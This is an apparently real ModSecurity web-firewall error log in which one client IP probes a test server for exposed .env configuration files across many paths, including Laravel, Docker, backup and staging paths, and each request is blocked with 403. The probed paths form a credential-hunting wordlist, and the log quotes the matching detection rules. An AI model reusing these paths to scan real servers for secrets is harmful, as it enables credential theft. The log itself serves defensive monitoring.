[hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzgAAAAQ&quot;]
[Wed Feb 25 06:04:35.230724 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzgAAAAQ&quot;]
[Wed Feb 25 06:04:35.230906 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzgAAAAQ&quot;]
[Wed Feb 25 06:04:35.252470 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzwAAAAQ&quot;]
[Wed Feb 25 06:04:35.252772 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzwAAAAQ&quot;]
[Wed Feb 25 06:04:35.252966 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzwAAAAQ&quot;]
[Wed Feb 25 06:04:35.294077 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0AAAAAQ&quot;]
[Wed Feb 25 06:04:35.294393 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0AAAAAQ&quot;]
[Wed Feb 25 06:04:35.294579 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0AAAAAQ&quot;]
[Wed Feb 25 06:04:35.354256 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/laravel/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0QAAAAQ&quot;]
[Wed Feb 25 06:04:35.354520 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0QAAAAQ&quot;]
[Wed Feb 25 06:04:35.354692 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0QAAAAQ&quot;]
[Wed Feb 25 06:04:35.380317 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0gAAAAQ&quot;]
[Wed Feb 25 06:04:35.380569 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0gAAAAQ&quot;]
[Wed Feb 25 06:04:35.380733 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0gAAAAQ&quot;]
[Wed Feb 25 06:04:35.485016 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0wAAAAQ&quot;]
[Wed Feb 25 06:04:35.485311 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0wAAAAQ&quot;]
[Wed Feb 25 06:04:35.485527 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW0wAAAAQ&quot;]
[Wed Feb 25 06:04:35.523603 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1AAAAAQ&quot;]
[Wed Feb 25 06:04:35.523875 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1AAAAAQ&quot;]
[Wed Feb 25 06:04:35.524069 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1AAAAAQ&quot;]
[Wed Feb 25 06:04:35.588283 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1QAAAAQ&quot;]
[Wed Feb 25 06:04:35.588566 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1QAAAAQ&quot;]
[Wed Feb 25 06:04:35.588745 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1QAAAAQ&quot;]
[Wed Feb 25 06:04:35.611776 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWVgAAAAI&quot;]
[Wed Feb 25 06:04:35.612080 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWVgAAAAI&quot;]
[Wed Feb 25 06:04:35.612273 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWVgAAAAI&quot;]
[Wed Feb 25 06:04:35.640759 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWVwAAAAI&quot;]
[Wed Feb 25 06:04:35.641053 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWVwAAAAI&quot;]
[Wed Feb 25 06:04:35.641239 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWVwAAAAI&quot;]
[Wed Feb 25 06:04:35.695032 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWAAAAAI&quot;]
[Wed Feb 25 06:04:35.695314 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWAAAAAI&quot;]
[Wed Feb 25 06:04:35.695491 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWAAAAAI&quot;]
[Wed Feb 25 06:04:35.776215 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1gAAAAQ&quot;]
